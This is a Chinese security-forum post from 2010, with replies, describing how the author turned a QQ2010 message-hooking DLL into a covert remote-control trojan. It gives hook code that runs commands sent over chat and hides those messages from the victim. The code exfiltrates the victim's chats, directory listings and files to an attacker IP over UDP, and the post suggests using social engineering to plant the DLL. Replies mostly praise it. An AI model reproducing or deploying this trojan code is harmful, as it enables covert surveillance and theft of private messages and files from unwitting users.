首页
论坛
课程
招聘
[原创]利用qq2010聊天信息获取,打造自己的远程控制
2010-9-24 21:27 73865

[原创]利用qq2010聊天信息获取,打造自己的远程控制

2010-9-24 21:27
73865
*******************************************************
*标题:【原创】利用qq2010聊天信息获取,打造自己的远程控制 *
*作者:踏雪流云                                             *
*日期:2010年9月24号                                      *
*声明:本文章的目的仅为技术交流讨论                         *
*******************************************************
前些天,小弟通过逆向QQSpy,侥幸成功实现QQ2010聊天信息获取,参见原文:http://bbs.pediy.com/showthread.php?t=119659
后来,小弟有一天闲来无事,对此又进行了一下深入一点的研究。
首先,将上文中的附件im32.dll和msimg32.dll放入QQ的Bin目录下,用OD加载im32.dll,在Hook_SaveMsg的函数中设置断点;然后,加载QQ,运行后,给此QQ发送一条消息,便命中断点于Hook_SaveMsg函数中,Ctrl+F9,便来到如下位置:
3119CBCD    FF15 6CA92A31   call    dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::GetSelfUin
3119CBD3    50              push    eax
3119CBD4    68 10542B31     push    312B5410                         ; UNICODE "buddy"
3119CBD9    FF15 C4A72A31   call    dword ptr [<&KernelUtil.Util::Ms>; KernelUt.Util::Msg::SaveMsg
3119CBDF    8B45 EC         mov     eax, dword ptr [ebp-14]
3119CBE2    83C4 18         add     esp, 18
3119CBE5    3BC3            cmp     eax, ebx
3119CBE7    885D FC         mov     byte ptr [ebp-4], bl
3119CBEA    74 08           je      short 3119CBF4

再Ctrl+F9,便来到如下位置:
3116B922    8B45 F0         mov     eax, dword ptr [ebp-10]
3116B925    8B48 0C         mov     ecx, dword ptr [eax+C]
3116B928    51              push    ecx
3116B929    FF15 58A82A31   call    dword ptr [<&KernelUtil.Util::Co>; KernelUt.Util::Contact::IsPrevented
3116B92F    83C4 04         add     esp, 4
3116B932    85C0            test    eax, eax
3116B934    0F85 44010000   jnz     3116BA7E
3116B93A    50              push    eax
3116B93B    8D55 D0         lea     edx, dword ptr [ebp-30]

当看到KernelUt.Util::Contact::IsPrevented这个导出函数时,感觉这个函数应该是用来判断是否屏蔽某人对自己的消息的(因为QQ有一个功能是屏蔽此人消息);通过调试,果如其然,这个IsPrevented函数的参数就是对方的QQ号码,返回值为BOOL值;单步调试过此函数后,将eax的零改为一,就不显示接收到此人消息了。。。
由此引发的联想是,如果我利用qq聊天窗口向对方发送命令,岂不可以达到远程控制的目的?
具体流程如下:
1.将此im32.dll文件放入对方Bin目录下,社会工程学的东西。
2.对方运行加载了此im32.dll的QQ后,可以给对方发送命令,达到远程控制的目的。
如:
-cmd ip 127.0.0.1   //给对方发送自己的ip地址;此时,im32.dll会使用UDP连接此ip。
-cmd msg   //实时发送聊天信息给对方。
-cmd dir D:\*.*  //枚举某一目录下的所有文件,并发给对方。
-cmd file D:\123.txt   //发送某文件给对方。
更多的功能可以自己添加。
实现代码如下:
HANDLE Hook_SaveMsg(wchar_t const * str, unsigned long dstqq, unsigned long srcqq, unsigned long data3,
              struct ITXMsgPack * pmsg, struct ITXData * pdata)
{  
  bCmd=FALSE;
  wchar_t * msg=NULL;
  AbstractMsg((struct ITXMsgPack *)&msg,(DWORD)pmsg);//获取聊天信息
  if(srcqq==QQ)//判断是否是对方QQ号码
  {
    if(msg[0]=='-'&&msg[1]=='c'&&msg[2]=='m'&&msg[3]=='d')//-cmd,判断是否是命令
    {
      bCmd=TRUE;//标记是命令
      ExecuteCmd(&msg[5]);//命令处理
      return 0;//如果是命令,就不SaveMsg,即不保存聊天信息,直接返回
    }
  }
  if(nSendType==1)
  {
    SendMsg(msg,dstqq,srcqq);//实时发送聊天信息给对方
  }

  ChookSaveMsgKey->HookStatus(FALSE);
    (MsgSave)SaveMsg(str,dstqq,srcqq,data3,pmsg,pdata);//保存聊天信息
  ChookSaveMsgKey->HookStatus(TRUE);

  return 0;
}

int Hook_IsPrevented(unsigned long qq)
{
  if(qq==QQ&&bCmd)//如果QQ号码是对方,并且发送的是命令
  {
    bCmd=FALSE;//清空标记
    return 1;//返回1,即屏蔽此人消息,这样本方就不会提示收到此信息了,达到利用qq聊天窗口作为命令窗口的目的
  }

  ChookIsPreventedKey->HookStatus(FALSE);
    (IsPrevented)IsOldrevented(qq);
  ChookIsPreventedKey->HookStatus(TRUE);

  return 0;
}

void ExecuteCmd(wchar_t * cmdkey)
{
  //Unicode编码转换为Multi-Byte编码
  int len = WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), NULL, 0, NULL, NULL);   
  char * buffer = new char[len + 1];
  WideCharToMultiByte(CP_ACP, 0, cmdkey, wcslen(cmdkey), buffer, len, NULL, NULL);   
  buffer[len] = '\0';   
  if(buffer[0]=='i'&&buffer[1]=='p')//ip
  {
    ConnectServer(&buffer[3]);
  }
  else if(buffer[0]=='b'&&buffer[1]=='o'&&buffer[2]=='x')//box
  {
    ShowMessageBox(&buffer[4]);
  }
  else if(buffer[0]=='m'&&buffer[1]=='s'&&buffer[2]=='g')//msg
  {
    nSendType=1;
  }
  else if(buffer[0]=='d'&&buffer[1]=='i'&&buffer[2]=='r')//dir
  {
    SendDir(&buffer[4]);
  }
  else if(buffer[0]=='f'&&buffer[1]=='i'&&buffer[2]=='l'&&buffer[3]=='e')//file
  {
    SendFile(&buffer[5]);
  }

  delete[] buffer;
}

源代码如下:
im32.rar
测试截图:

此图是在本机测试,测试成功;远程测试,就依赖UDP连接了,我没有进行过远程测试。。。
因为只是测试,文件传输功能未优化(其实是不靠谱,自己懒得弄了,望有兴趣者完善之)。

[招聘] 欢迎你加入看雪团队!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (90)
雪    币: 230
活跃值: 活跃值 (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
winnip 活跃值 1 2010-9-24 21:34
2
0
沙发 高产。。赶紧下来研究一下
雪    币: 362
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lapcca 活跃值 2010-9-24 21:58
3
0
支持,深入研究一下
雪    币: 52
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jguoguo 活跃值 2010-9-24 22:05
4
0
围观   这个有点凶
雪    币: 1223
活跃值: 活跃值 (46)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
yijun8354 活跃值 12 2010-9-24 22:18
5
0
比较看好你,支持哈
雪    币: 396
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
踏雪流云 活跃值 1 2010-9-24 22:24
6
0
呵呵,谢谢高级会员前来捧场~~~
雪    币: 239
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
vitik 活跃值 2010-9-24 23:30
7
0
谢谢!长见识了!
雪    币: 410
活跃值: 活跃值 (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Genius 活跃值 2010-9-25 08:45
8
0
不错,支持一下
雪    币: 421
活跃值: 活跃值 (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
tornodo 活跃值 1 2010-9-25 08:52
9
0
研究下试试
雪    币: 78
活跃值: 活跃值 (18)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
竹君 活跃值 5 2010-9-25 09:09
10
0
挖的真深  支持继续深挖
雪    币: 20
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cblcbl 活跃值 2010-9-25 10:32
11
0
原来TX不堪一击啊?!谢楼主分享
雪    币: 12
活跃值: 活跃值 (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
newszeng 活跃值 2010-9-25 11:02
12
0
学习一下咯!!
雪    币: 114
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
战争残骸 活跃值 2010-9-25 11:03
13
0
強淫!!!關注.....
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xtiger 活跃值 2010-9-25 11:16
14
0
话不能这么说,楼主思路虽好,而且也能创建一个隐蔽性比较好的'马'

但事实上,很多软件中都有不少可以利用的控件和函数。

比如downloader用urlmon来下载木马,或者改写一个IE的dll 待IE启动之后作为木马server
这些总不能怪到IE头上吧?
IRC BOT 不能怪到 IRC头上吧?
还有很多例子,就不一一列举鸟...
雪    币: 213
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ahyanglf 活跃值 2010-9-25 11:28
15
0
前排支持了

期待完善
雪    币: 266
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
雪妖 活跃值 2010-9-25 13:19
16
0
mark一下
雪    币: 409
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
coody 活跃值 2010-9-25 13:41
17
0
厉害  可以远程控制别人的电脑了
雪    币: 18
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ipfans 活跃值 2010-9-25 18:30
18
0
不错不错,前来围观
雪    币: 346
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
YwdxY 活跃值 2010-9-25 18:47
19
0
学习学习,远控好可怕
雪    币: 254
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
junyuqin 活跃值 2010-9-25 19:02
20
0
跟随楼主学习……
雪    币: 20
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cblcbl 活跃值 2010-9-25 20:44
21
0
楼主我用VS2010转换链接VCChat时,编译不过去。总报
错误        2        error C2440: “static_cast”: 无法从“void (__thiscall CChatDlg::* )(WPARAM,LPARAM)”转换为“LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM)”        F:im32 (2)\VCChat\ChatDlg.cpp        101        1        Chat
不知道如何修改程序才能通过?
雪    币: 25
活跃值: 活跃值 (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
哥布林 活跃值 2010-9-25 20:49
22
0
好东西,收藏了。
雪    币: 396
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
踏雪流云 活跃值 1 2010-9-25 22:11
23
0
恩,我没用过2010,看错误,应该是类型无法转换;不过,这个代码只是用来测试的,你可以随意修改~~~
雪    币: 33
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PEBOSS 活跃值 2010-9-26 05:41
24
0
楼主 思想果然远
雪    币: 396
活跃值: 活跃值 (10)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
踏雪流云 活跃值 1 2010-9-26 09:30
25
0
楼上,起这么早~~~
游客
登录 | 注册 方可回帖
返回